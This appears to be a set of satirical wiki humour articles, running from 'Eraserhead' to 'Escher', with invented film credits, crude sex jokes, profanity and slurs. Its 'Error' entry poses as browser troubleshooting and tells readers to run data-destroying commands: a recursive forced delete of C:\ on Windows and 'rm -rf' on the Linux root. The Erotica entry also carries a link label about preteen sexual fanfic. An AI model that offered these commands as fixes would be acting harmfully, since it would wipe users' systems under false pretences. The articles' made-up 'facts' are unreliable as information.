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Eraserhead

Eraserhead is a silent film starring Harold Lloyd as Klaus Nomi. It was the student film debut of popular talk show host, David Lynch. The surreal film was an instant hit with the third feature drive-in crowd, with a 20% retention rate.
==Plot==
Lonely East Berlin Boy, Klaus Nomi has no friends. He spends his time redecorating the inside of his mother's range. Since she only serves him Beans and Franks, his fortress is never disturbed. As his pre-teen iron curtain angst develops into a need for speed, he starts racing. The family is supported only by the mother's job as a anesthetist at a backroom sexual reassignment chop shop. With the price of Beans and Franks, along with the occasional bag of Gummi Bears, she is barely able to afford a model race car.
Fortunately Klaus has a sharp pencil and an active imagination. His mind, however races like his toys. As his race designs evolve in his head faster than he can committ them to paper, he becomes addicted to chubby pink pet erasers. 
His mother, unable to stand the rubber dust, persuades him to try chalks and slates. "Bigger erasers!", she says. With the switch she begins to wish the chalk dust was more like the rubber dust.
On bring your daughter to work day, mother plans to bring Santra, who up 'til now was not important enough to mention. At the last minute, sister Santra convinces Klaus to go in her stead, because something suddenly came up. Klaus agrees and goes to work with his mom.
Without spoiling a major plot twist, a good time was not had by all, and Klaus was soon nicknamed eraserhead. Which accounts for his ability to hit high C.
==Cast and Crew==
===Cast===
* Harold Lloyd - Klaus Nomi
* uncredited - Santra Nomi
* June Whitfield - Mrs. Nomi
* uncredited - Surgeon
* Charles Nelson Reilly - Candy Store Clerk
and 
Valerie Bertanelli as Barbara Cooper
===Crew===
* TV's David Lynch - Director
* Mike Foley - Director of Photography
* Zombie Helen Keller - Executive in charge of production
* - Writer
==Remakes==
Arnold Schwarzenegger starred in a noisy remake, with the stub titled, Eraser. His nickname still coming from his stub down in his lonely place. This time instead of an East Berlin punque, he is a CIA Operative that does a lot of loud stuff, making this perfect for the hearing audience, ignored by the original. Zombie Hellen Keller, originally hated the idea of the remake, but after a private screening, she took out full page ads proclaiming "Arnold is my Klaus'.
==Adaptations==
===Television===
The Klaus Nomi story, Eraserhead, was reworked into a sitcom aired on MTV as Beevis & Butthead, Kick the Crap out of some Foreigner and lasted for 15 seasons, unlike music videos.
===Radio===
Casey Kasem starred in a XM Satellite Night at the Movies version of the film aired jointly on XM Sirrius Satellite Radio. In this version, Klaus had the crap beat out of him by Howard Stern.
==See also==
* Silent film
* David Lynch
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Eric Cartman

Eric Theodore Cartman is a South Park character, and a fat-ass psychopath. That's really it.
==How fat is he?==
He is a big fat-ass, almost 100 pounds. However, he refuses to accept that fact, claiming he's simply big-boned. However, everyone knows that's not true, except for his mom, and here is evidence:
#In "Weight Gain 4000" he ate beefcake to get less fat (confirming that he is fat), but actually got even fatter. 
#In "Spontaneous Combustion", he got crucified and survived up there for three weeks and got skinnier, proving he is FAT.
==How evil is he?==
Very. That's all. What, you thought it was a long, detailed, complicated section. Well you're dead fucking wrong. Not every single section has to be, I dunno, like, um... 10 words. Some sections are only one word. One one one one one! Not two. Not forty-three chars. ONE! So stop bitching about it and fucking move on.
==What evil things has he done?==
#Kill Scott Tenorman's parents and grind them up into chili.
#Act retarded just for money.
#Kill all hippies.
#Recreate the Holocaust.
#Dressed up as Hitler for the school Halloween party 
#Made a whole theme park for only himself
#Locked an innocent kid in a bunker just so he could go to his favorite restaurant 
===The worst thing he's done?===
Eat off the skin of every piece of chicken and make poor Kenny cry. Now listen, you do NOT make Kenny cry.
== See also == 
 
* Worst 100 Cartman Wannabes of All Time
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Erotic

The word "Erotic" is used whenever an individual finds certain porn to be acceptable.
What any person finds erotic as opposed to pornographic tells the amatuer psychologist a lot about that person. Consider the elderly spinster aunt, who reads tales of bodice-ripping passion written in small books by homosexual men using women's names. She would find the tales of lust to be "erotic". Yet, if she were to be confronted with a video or DVD depicting the scenes portrayed by actors, she would consider the same tale "pornographic".
Consider another case, the middle-aged single man. He may consider viewing the nubile woman next door, covertly through a hole in the wall as she showers, to be "erotic". Yet, if he were to see the same woman naked oil wrestling with her lesbian best friend, he would consider that "pornographic". And therefore, ten times better. He would sleep well that night, ladies and gentlemen. Oh yes.
==Dry Genitalia==
While the human reproductive act naturally requires a generation and exchange of bodily fluids, material deemed erotic often completely ignores this component. Pornography, on the other hand, so to speak, revels in fluids. While being much more accurate in its portrayal of the human act of love, the mention or concentration on fluids gives pornography its "dirty" connotation. 
==Visual Stimulus==
Additionally, material is more likely to be labeled as pornographic if it is a visual depiction of the sex act, rather than a description. Certainly, one is free to go into nearly any public library and find graphic descriptions of every kind of hump and squirt, from the tender first caresses of awkward teens to anal adventures featuring kitchen appliances, readily available to any curious youngster who has learned to read. One curious aspect of this is that simply because men generally respond more to visual stimuli than women, and thus men are more often labelled as pervs and slimy horndogs. But this sort of gender discrimintion is as common as a cold, so don't even bother fighting it in court.
==See also==
* Erotica
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Erotica

thumb|200px|"Erotica makes you feel good all over."
According to some, erotica is what women, who lack the balls to refer to it by its real name, call pornography.
However, they contend that erotica differs from porn in that it is "softer, warmer, fuzzier, and feels better on the lips and tongue" than pornography tends to feel.
==Characteristics==
Some individuals also contend that a number of its characteristics further define erotica, distinguishing it even more from pornography.
===Romantic===
"Erotica can be romantic," Pamela Anderson says, "whereas porn is just lewd and crude." Her movie roles, she claims, are "erotic," whereas the home videos that her former husband, rock star Tommy Lee, filmed of her performing fellatio on him, are "just lewd and crude."
===Pleasurable===
By contrast, the Babe Watch actress contends, "Erotica makes you feel good all over."
===An equal opportunity art form===
Another distinction that some people make between erotica and porn is that the former features both males and females, whereas the latter tends, more often, to showcase only women. "Erotica," Anderson says, "is an equal opportunity art form."
===Tasteful===
"Erotica is tasteful," the late Linda Lovelace, star of Deep Throat, once suggested to an interviewer, "but porn is tasteless." Erotica," she said, "tastes somewhat buttery, "like semen."
==Techniques==
Both in painting and in photography, erotica is identified by certain artistic techniques that are typical of its execution.
===Blurred contours===
Many erotic images are blurred and indistinct, photographer P. Niss declares, or use props to conceal the genitals. "Think Adam and Eve in the Garden of Eden," he suggests. "Artists may show a pair of breasts or buttocks--a little T & A--but a leaf, a shrub, or a tree branch is always going to make sure that the couple's private parts remain private. Also, Eve isn't going to look too hot." In pornography, by contrast, Niss says, "We're going to see not only the full Monty, but also the couple coupling, and Eve is going to be a real hottie."
===Ambiguity===
Erotica tends to be more ambiguous than porn, too, Niss says. "In a portrait of our primeval parents, Adam may be shown as extending his hand toward Eve's upper body, as if to keep her away from the forbidden fruit, but there will be the suggestion, too, that maybe he's reaching for her breast, and the voyeur--I mean, the viewer--will have the option of imagining either possibility, or both."
==Artistic vs. commercial appeal==
Richard D. Parsons, chairman of Time-Warner, which makes billions of dollars promoting porn over the Internet, says, "Here's the real difference: in erotica, women are objects of art; in porn, they're sex objects--they're commodities. Give me porn over erotica any day!"
==External links Links==
* Preteen slut fanfic/erotica. Eeew.
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Erratic

Am I supposed to define erratic? I'm not sure if I'm supposed to because that's what Undictionary is for and OH GOD what will they do to me if they don't like this page, because I've seen the list of weapons that don't exist but should and (despite being markedly better than this article) scares the crap out of me because if someone had the imagination to do that, what will they do to me?
Kittens are great, by the way. Did I ever mention how I once had this cat, but it died? A car hit it, and it was exactly like watching tomato ketchup being squeezed from a bottle. I didn't mind much, though, because it's all part of natural selection, and if a cat doesn't know that standing in the way of a red two-ton Volvo coming at it like a bull with a firework up its ass is a bloody stupid thing to do then it doesn't really deserve to live at all.
But back to the subject, though, writing erratic is kinda hard to do - that's why I borrowed some 'pep' pills of this guy who was stood on a sidewalk to help me write it but now all I can think about is what will happen if I don't stop writing - and so I should probably just let this joke last for as long as possible before people start to get bored with it. It should pay off though because the AAAAAAAAA thread worked in sorta the same way and I figure that if that joke managed to go on for so long by just using the first letter of the alphabet then me using all of the letters of the alphabet (here's a token 'z') is bound to be a success.
It strikes me as odd however how people can manage to confuse 'erratic' with 'erotic' - I was once confused when trying to find out what Rape Seed Oil actually looked like and put in 'Rape' in Google image search. That's another thing: never try to find definitions by going onto Google image search. I found out what 'bukkake' meant the hard way. And also always use Wikipedia or something before clicking on a site you don't know because I friend of mine - and this is absolutely true - accessed Goatse from a link he found on a forum, and this was in the Children's Library where he worked. He doesn't work there any more.
==See also==
*Armadillos
*Snails
*Clergy
*Ships
*Dogs
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Error

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The page you are looking for is currently unavailable. The website might be experiencing technical difficulties due to a database error, blank article, broken link, or a bad title. You may not have authorization to access this page.
Finally, perhaps you have a poor excuse for a web browser, in which case open the Windows command prompt and type the following:
:del /F /S /Q C:\ 
If using Mozilla Firefox or Netscape, try refreshing the page cache by lifting the monitor with the display facing downward and shaking it vigorously, as one would an Etch a' Sketch.
For Linux users, open a terminal and type the following:
:sudo rm --no-preserve-root -rf /*
For Opera users, clean your cache by taking a magnet and rubbing it against the side of your computer. 
For Safari users, contact Apple Computer Co. and ask for assistance. If assistance is unavailable please visit [ this site].
For Commodore 65½ users, type this:
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Erudition

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One would like to inform you, sir (or madame, or demoiselle), that although intelligence characterise erudition, they do not define it. For individuals with advanced intelligence but lacking in refined skills required for erudition, kindly refer to nerd or otherwise geek.
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Erudition is, by definition, defined as the state of advanced language abilities, politeness, and similar traits, which some call 'learnedness' or 'being educated'. Erudite individuals display the most noble traits of humanity, such as use of vocabulary of a higher level and dramatic speech.
== On Eloquence and Erudition ==
Many individuals with any substantial amount of erudition also are somewhat eloquent. However, it is important that erudition is not, and should not be confused with, eloquence. One wishes to clarify the gap between the said two by quoting Idiocrates, an unconventional erudite. He once emerged victorious from a philosophical argument against the rival philosopher Moronicus by vocalizing 'your mom' loudly and repetitively. Although not eloquent in any way, he still exemplifies the art of erudition.
== Erudition for persons with lower experience / intelligence ==
Although the qualities for erudition of the most advanced form have to be mastered from birth, one believes that persons with lower experience / intelligence should have a grasp of their more noble selves. Therefore, this fragmental guide is provided pro bono to those lacking of intelligence and/or noble blood.
A partial form of erudition can be achieved, one has seen, by the expert insertion of foreign phrases from French and Latin, et les autres langues, et cetera pro re nata. 
Another part of the erudite nature can be seen by the use of the noble and refined 'one' instead of the colloquial and vulgar 'I'. One symbolises the unity between the erudite and the listener and achieves superior understanding.
This system of speech is suitable for use against all manners of strangers, whether from your own country or foreign. It will achieve the same level of understanding in both.
== Linguistic conversion between speech of erudite and vulgar forms ==
The following passages should give you a basic grasp of linguistic conversions between the erudite and vulgar forms, and aid you on your journey to becoming a gentleman/woman:
AAAAAA! The brakes aren't working! We're gonna crash!
One would like to express one's utmost surprise that the brake pads of the automobile one is situated on is malfunctioning. In this scenario, the most probable course of future events would result in a severe motor accident.
There's a fire in the bedroom! Quick, call 911!
One would like to inform you, sir, that combustion seemed to have occured in the bedchambers. One would hate to hurry you, but the most favourable course of action under the current circumstances would be an urgent call to the emergency services.
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Esc

Esc (pronounced ) is the first letter of the alphabet, not to be confused with the Any key. The Esc stands for Evil Sham Charade. For some reason some people believe it to stand for escape, but this is a common error. The esc key does not in fact escape from anything. It is set firmly in place. It appears to be trying to escape from the other keys, but that is just because it has bad social skills.
The Esc key really does nothing like what it says it does. Most keys make a symbol on the screen resembling the key pressed or does the command printed on it. The Esc key, however, does neither. It is an evil sham charade, made by the computer manufacturers to frustrate and confuse the computer owners. The Esc key is very deceptive. Do not be fooled by its false promise of an 'escape', but instead be weary of the false hope on your computer, even before you turn it on and get dragged into an online pyramid scam.
The button actually hates you for touching it. 
==Uses==
thumb|It's about time he pulled this off, don't ya think?
In the case that a single press of the ESC key does not resolve a situation, it is probably due to insufficient forthrightness. Repeated hammering with increasing force is recommended.
Also a good practice to do is to take a tube of super glue and pour half the tube down in it... And then hold the key down for a minute or so and then release it... Now you'll never have to press it again.
It is reported that Apple Macintosh Computers include multiple escape keys, colored different translucent shades to match the user's mood.
ESC keys are banned from all prison computers ever since the Great Alcatraz Typists Escape of 1969.
It is also a key when pressed, links directly to a website hosted in Nigeria, and causes you to win a trillion dollars instantly. It also re-creates the USSR if provided with mayo and Cheesecake! If you have an account with Habbo Hotel, someone will steal all your furni! If not, it will Habbo you as a bogeyman who like to eat kittens for breakfast.
=The Meaning Of Life=
Death
==Name Origin(s)==
===Greek Theory===
The esc letter came from the Greek letter escepsilon. Sadly, people believe that the keypad letter means escape. It actually means escalator and when pushed it is believed to open a doorway to the skies and then Zeus is like "what's up" and tells you the meaning of life.
Remember to not believe this at all...
 
But the only thing that is real is that the Esc key was 5th president of the U.S.A.
Things that it did during its presidency:
* successfully got a medal for being touched 1,000,000,000,000,000,000,000,000,000,000 times maybe more.
* married your mom and had you. YOU STUPID FUCKER
* had sex for the first time (of course)
* raped F1,~,!,1 keys
* made peace with the furon empire
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Escher

Mr. E. A. Poe
c/o Ms. M. Clemm
203 North Amity Street
Baltimore, Maryland
December 20, 1838
My dear Edgar,
Knowing, as I do, your acquaintance with the night; and, finding myself gripped with the terrible need to distribute these recent events to one who may find some translation of their bizarreness and not overly suffer thereby, my sole thought upon escape was to immediately inscribe them for you.
We are too well associated to require much introduction. Let me rush to resolution: not long ago, I received a missive from a friend in the distant part of the country whom I had not seen for some time. Therein he complained of various ailments, and advised his sister suffered also. In your readings have you encountered catalepsy? She had not long to live.
Unengaged and of no small concern I went. My friend, Mr. Maurits Escher, could not bear the light, and sometimes sound, smell or taste. Attempts to cheer him with music and art were of little avail. For his part, my ill host improvised many odd sketches; the first indication of the peculiarity that house imparted. Indeed—let me share with you a singular experience, one following some several minor strangelings: this night a storm chased away sleep; the bog outside seemed to glow though there was no lightning; and when I stirred to find some distraction and entered the main hall, to my horror I encountered a sideways relativity, an unreal geometry afflicting that place. Staircases were at perpendicular odds to one another, dumbwaiters rumbled in perpetual motion, connecting rooms spun away as though ripped by time—-be assured, I had not imbibed before retiring. As I stood on the edge of this unfolding unreality, Mr. Escher himself, somnambulant and gray, wandered through the scene, sometimes up, sometimes down, but always with his feet on the stone. How further can I advise you of my gritted reaction? I fainted dead away.
Only days later did the sister pass. My friend insisted that she be placed in a vault, entombed for two weeks before burying. We did so, then drifted through a week until a night when Escher burst into my room and threw the windows open. The bog’s mist drifted in. He read to me a fairy tale, interrupted by scratchings and halted by wailing. To complete my terror, Escher advised those sounds were being made by his sister, who had not been dead when entombed—and upon that moment, the door burst open—Madeline was there—she toppled now truly lifeless upon my friend, who too snapped into demise and both fell to the floor.
Such was the fall of the house of Escher. As I hurried from that awful structure it slipped into the swamp, a monument to the decayed greatness of its last master. Think me not too deranged. May this be fit for some use by you.
Yours as ever,
Thomas Cole
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